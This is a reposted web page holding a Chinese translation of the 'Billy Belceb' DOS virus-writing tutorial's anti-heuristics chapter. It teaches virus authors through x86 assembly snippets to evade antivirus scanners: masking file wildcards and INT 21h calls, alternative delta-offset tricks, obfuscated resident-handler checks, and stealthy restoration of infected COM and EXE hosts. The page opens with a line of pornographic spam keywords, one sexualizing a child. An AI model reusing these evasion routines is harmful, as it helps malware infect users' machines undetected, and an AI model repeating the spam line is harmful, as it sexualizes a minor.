小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)

 羊玉wngbx 2019-07-10


     2015-11-15 16:26  3851


~~~~~~~~~~~~~~~~~~~~~~~~~ 
    探索方法在我們的代碼里面尋找可疑的東西,只要避免使用如"*.com"等等...好了,我將更好地解釋它。遵循這一點 

    不要使用諸如"*.com"或者"*.exe"之類的通配符: 
     
    這種類型的東西只會在運行期<g>病毒里使用,但是如果你確實需要它...你可疑用"*.rom"代替"*.com",然后用下面的代碼: 

  mov byte ptr [bp+comfile+2],"c" 

    記?。涸趯懖《局黧w之前,存儲"*.rom"里的r... 

  mov byte ptr [bp+comfile+2],"r" 

    否則,你的努力就白費了。 
    在這個例子里,我們假設(shè)BP為變化的偏移地址,com 文件,db "*.rom",0,而且這個病毒是一個直接感染病毒<g> 

    不要使用明顯的例程: 

    我們要討論的是經(jīng)典的INT 21h AH=40h,INT 21h AX=4301h...你可以做很多事情...讓我們在AX=4301h時玩玩。 
    我已經(jīng)在哪里讀過這個了,現(xiàn)在記不清在哪里了(可能是Wizard的用西班牙語寫的教程:-?) 

  push 4301h 
  pop ax 

    但是,有一個問題...編譯然后把它反編譯。讓我們看看由TASM產(chǎn)生的東西:)毫無疑問,這個只會在這個代碼中所選的處理器比386還差。 

  push ax bp 
  mov bp,sp 
  mov word ptr [bp+02],4301h 
  pop bp ax 

    這是push 4301h和pop ax的反匯編代碼。它占11字節(jié)!??!我認(rèn)為它是對代碼的浪費。更好的使用情況為: 

  mov ax,4300h 
  inc ax 

    或者更好: 

  mov ax,0043h 
  inc ah 
  xchg ah,al 

    還有: 

  mov bx,4300h 
  xor ax,ax 
  xchg ax,bx 

    對你的多態(tài)引擎的所有例程過度的懷疑: 
  
    對許多的垃圾的使用要小心,如一個字節(jié)的指令(cli,sti,lahf,nop,std,cld,cmc...)。病毒查殺工具能顯示一個標(biāo)志。探索引擎將會試圖去解密代碼。我建議你設(shè)置一個反調(diào)試?yán)虂碜柚顾???纯催@篇文檔的ARMOURING這一章。 

    在你的駐留內(nèi)存檢查時不要使用奇怪的調(diào)用: 

    如果你在你的駐留內(nèi)存檢測時使用如AX=DEADh,一個標(biāo)志將會被觸發(fā)。要使用低于6E00h的檢查。低于6E00h的功能有很多還沒使用。你要想看更多的信息,可以看看Ralph Brown的中斷列表。 

    不要使用不常見的中斷: 

    如果你使用高于80的中斷,一個標(biāo)志將會被觸發(fā)。 

    盡可能的優(yōu)化你的代碼: 

    你可以參考關(guān)于這個話題的教程(如darkman在VLAD#2中的文章或者29A#3中的文章)。 

    獲得偏移地址的時候要盡可能的新穎: 

    在過得改變的偏移地址的時候不要使用: 

  call delta 
 delta: 
  pop si 
  sub si,offset delta 

    這個被很多的病毒使用,毫無疑問一個標(biāo)志將會被觸發(fā)。(在這個例子里,delta offset 將會存字SI里) 
    有很多代替的方法來獲得delta offset: 

  mov bx,old_size_of_infected_file 
  jmp bx 

(當(dāng)然你可以使用另外的寄存器而不是BX) 

    另外一個: 

  call delta 
 delta: 
  mov si,sp 
  mov bp,word ptr ss:[si] 
  sub bp,offset delta 

(在上面的代碼里,BP將會為Delta offset) 
另外一個: 

  mov bp,sp 
  int 03h 
 delta: 
  mov bp,ss:[bp-6] 
  sub bp,offset delta 

    使你的加密例程非常優(yōu)化。如果你使用某些方法,探索將會抓住病毒,所有我們的努力將會付之東流。 

    使你的TSR例程更加怪: 

    努力避免和0比較: 

  cmp byte ptr [0],"Z" 

    在你的int 21處理程序里避免使用"真正"的比較,只要試試如下的(4bh的例子): 

  xchg ah,al 
  cmp al,4Bh 
  [...] 
  xchg ah,al 

    或者對這個值xor。 

  xor ax,0FFFFh 
  cmp ah,(4Bh xor 0FFh) 
  xor ax,0FFFFh 

    或者同時;) 

  xor ax,0FFFFh 
  xchg ah,al 
  cmp al,(4Bh xor 0FFh) 
  xchg ah,al 
  xor ax,0FFFFh 

    記住這一點:在調(diào)用真正的int 21之后在使用這些例程之前返回和以前一樣的值。 
    探索法在搜索的時候比較"MZ"或者"ZM"如: 

  cmp ax,"ZM" 
  cmp ax,"MZ" 

    你可以這么試試: 

  mov al,byte ptr [header] 
  add al,byte ptr [header+1] 
  cmp al,"M"+"Z" 

    這是一個非常有用的例程:你可以同時檢查MZ和ZM。假設(shè)就是這樣...文件頭至少包含文件頭的前兩個字節(jié)?;蛘吣氵€可以以小寫的形式,用一個簡單的or ax,2020h(AX是包含這個字符串的寄存器),比較時如下: 

  cmp ax,"zm" 
  cmp ax,"mz" 

    盡可能的使你的病毒更加獨特:) 

    用很多的病毒查殺工具把你的代碼掃描很多遍來看看它能否被發(fā)現(xiàn)。 

    對恢復(fù)COM和EXE主體恢復(fù)的例程要輕微的改動。讓我們現(xiàn)在來看看怎樣編制對COM文件的反探索恢復(fù)程序: 

  mov  di,101h     ; This shit will fool AV 
  dec  di 
  push  di      ; DI=100h :) 
  lea  si,[bp+offset OldBytes] ; Restore 3 bytes 
  movsw        ; ( Change it for your needs ) 
  movsb 
  ret        ; Jump to 100h ;) 

 oldbytes  db CDh,20h,00 

    下面來看恢復(fù)EXE文件時怎么對付探索: 

  mov  bx,bp      ; Use BX as delta offset ;) 
  mov  ax,ds 
  add  ax,0010h 
  add  word ptr cs:[bx+@@CS],ax 
  add  ax,cs:[bx+@@SP] 
  cli 
  mov  ss,ax 
  mov  sp,cs:[bx+@@SS] 
  sti 

  db  0EAh      ; JUMP FAR 

 cs_ip    equ  this dword 
 @@IP    dw  0000h    ; In 1st gen, put here the offset to 
          ; a MOV AX,4C00h/INT 21h 
 @@CS    dw  0000h 
 ss_sp    equ  this dword 
 @@SS    dw  0000h 
 @@SP    dw  0000h 

%最后的討論% 
~~~~~~~~~~~~ 
    有些探索(如TBSCAN)的一個巨大的失敗之處是它們不搜索寄存器的值。我們就可以利用這一點了。只要想一想編寫一個mov ax,4301h或者一個cmp ah,4Bh的所有可能性...一切盡在掌握... 

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多